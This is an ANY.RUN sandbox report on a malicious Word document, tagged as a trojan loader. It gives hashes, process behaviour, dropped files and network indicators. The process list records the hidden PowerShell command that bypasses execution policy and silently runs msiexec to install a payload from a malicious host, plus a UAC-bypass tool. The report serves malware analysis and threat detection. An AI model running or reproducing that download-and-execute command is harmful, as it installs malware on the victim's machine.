analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4

Full analysis: https://app.any.run/tasks/55cb07a9-e4fd-409d-91c6-47a86318a53c
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: November 15, 2018, 15:21:07
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
trojan
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: -535, Title: Documento criado na verso anterior do Microsoft Office Word, Author: 1, Template: Normal.dot, Last Saved By: Microsoft Office, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:21:00, Create Time/Date: Mon Nov 12 10:24:00 2018, Last Saved Time/Date: Mon Nov 12 10:24:00 2018, Number of Pages: 1, Number of Words: 42, Number of Characters: 243, Security: 0
MD5:

B811A63EAA3F6A76D4176A64655C086F

SHA1:

45F3B9F49D4C680DE6FDEDE99427289A11317AA0

SHA256:

EB66EBB95A3DCECAE64C61F611A9332FBF460D1B8039D3AB7E4F220104A4BEC4

SSDEEP:

768:CR8S554gyDL39cD9f9FfpsqKh83qtkmCuB5hq5e7MKkRPuLxj03XSp:CR8S5GxvSt3y83D2hL7TjEi

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • powershell.exe (PID: 3096)

    • Loads the Task Scheduler COM API

      • WINWORD.EXE (PID: 1536)

    • Application was dropped or rewritten from another process

      • staterepository.exe (PID: 3184)
      • akagi32.exe (PID: 3116)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3608)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3096)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3608)
      • staterepository.exe (PID: 3184)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1536)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1536)

    • Creates a software uninstall entry

      • msiexec.exe (PID: 3608)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3608)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Documento criado na versão anterior do Microsoft Office Word
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dot
LastModifiedBy: Microsoft Office
RevisionNumber: 2
Software: Microsoft Office Word
TotalEditTime: 1.4 hours
CreateDate: 2018:11:12 10:24:00
ModifyDate: 2018:11:12 10:24:00
Pages: 1
Words: 42
Characters: 243
Security: None
CodePage: Unicode (UTF-8)
Company: -
Lines: 2
Paragraphs: 1
CharCountWithSpaces: 284
AppVersion: 11.9999
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Documento criado na versão anterior do Microsoft Office Word
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 31
CompObjUserType: ???????? Microsoft Office Word
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
0
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe no specs msiexec.exe no specs msiexec.exe staterepository.exe akagi32.exe no specs CMSTPLUA no specs %systemroot%\system32\colorui.dll no specs

Process information

PID
CMD
Path
Indicators
Parent process
1536"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -noprofile -w hidden -c & "msiexec" urk=yahoo url=com /q /i http://offficebox.com/host32C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3840"C:\Windows\system32\msiexec.exe" urk=yahoo url=com /q /i http://offficebox.com/host32C:\Windows\system32\msiexec.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3608C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3184"C:\Users\admin\AppData\Local\Temp\Data1\staterepository.exe"C:\Users\admin\AppData\Local\Temp\Data1\staterepository.exe
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3116"C:\Users\admin\AppData\Local\Temp\akagi32.exe" 43 C:\Users\admin\AppData\Local\Temp\archive.exeC:\Users\admin\AppData\Local\Temp\akagi32.exe—staterepository.exe
User:
admin
Company:
Hazardous Environments
Integrity Level:
MEDIUM
Description:
UACMe main module
Version:
3.0.4.1811
1792C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}C:\Windows\system32\DllHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2724C:\Windows\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}C:\Windows\system32\DllHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 810
Read events
1 260
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
4
Text files
10
Unknown types
6

Dropped files

PID
Process
Filename
Type
1536WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9824.tmp.cvr —
MD5:—
SHA256:—
1536WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF78035150B05F3B68.TMP —
MD5:—
SHA256:—
1536WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFBADF150033E790B3.TMP —
MD5:—
SHA256:—
1536WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF11AD26B140C47D7C.TMP —
MD5:—
SHA256:—
3096powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PYY10L1L966XIJH25WLY.temp —
MD5:—
SHA256:—
3608msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD2C434E06FF0EF75.TMP —
MD5:—
SHA256:—
3096powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
1536WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:401308D2B4EA180CC48311AC870F61F0
SHA256:E2F9B170D11FA4CAC3FA9AE452A90C90164A9F363F51F59FB4BCEA501C9103FF
3608msiexec.exeC:\Windows\Installer\5dfecf.ipibinary
MD5:5E442E8E6FCF18028AF0BE1B004F553F
SHA256:3A7AA8A4393BFE0FA429E2E8DB2A9B7C0C2FB60BBC4979148D6F85C09D4EFDCB
3608msiexec.exeC:\Windows\Installer\MSIFBFF.tmpexecutable
MD5:7FC2A8059819BAC1328BE9B72D06DB9E
SHA256:09B12F71BEF383CB4F278E7AD375B1DCF808CCC69CE6401700FF6C2CA3EED316
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3608
msiexec.exe
GET
200
185.174.172.226:80
http://offficebox.com/host32
UA
executable
1020 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3608
msiexec.exe
185.174.172.226:80
offficebox.com
ITL Company
UA
malicious

DNS requests

Domain
IP
Reputation
offficebox.com
  • 185.174.172.226
malicious

Threats

PID
Process
Class
Message
3608
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3608
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4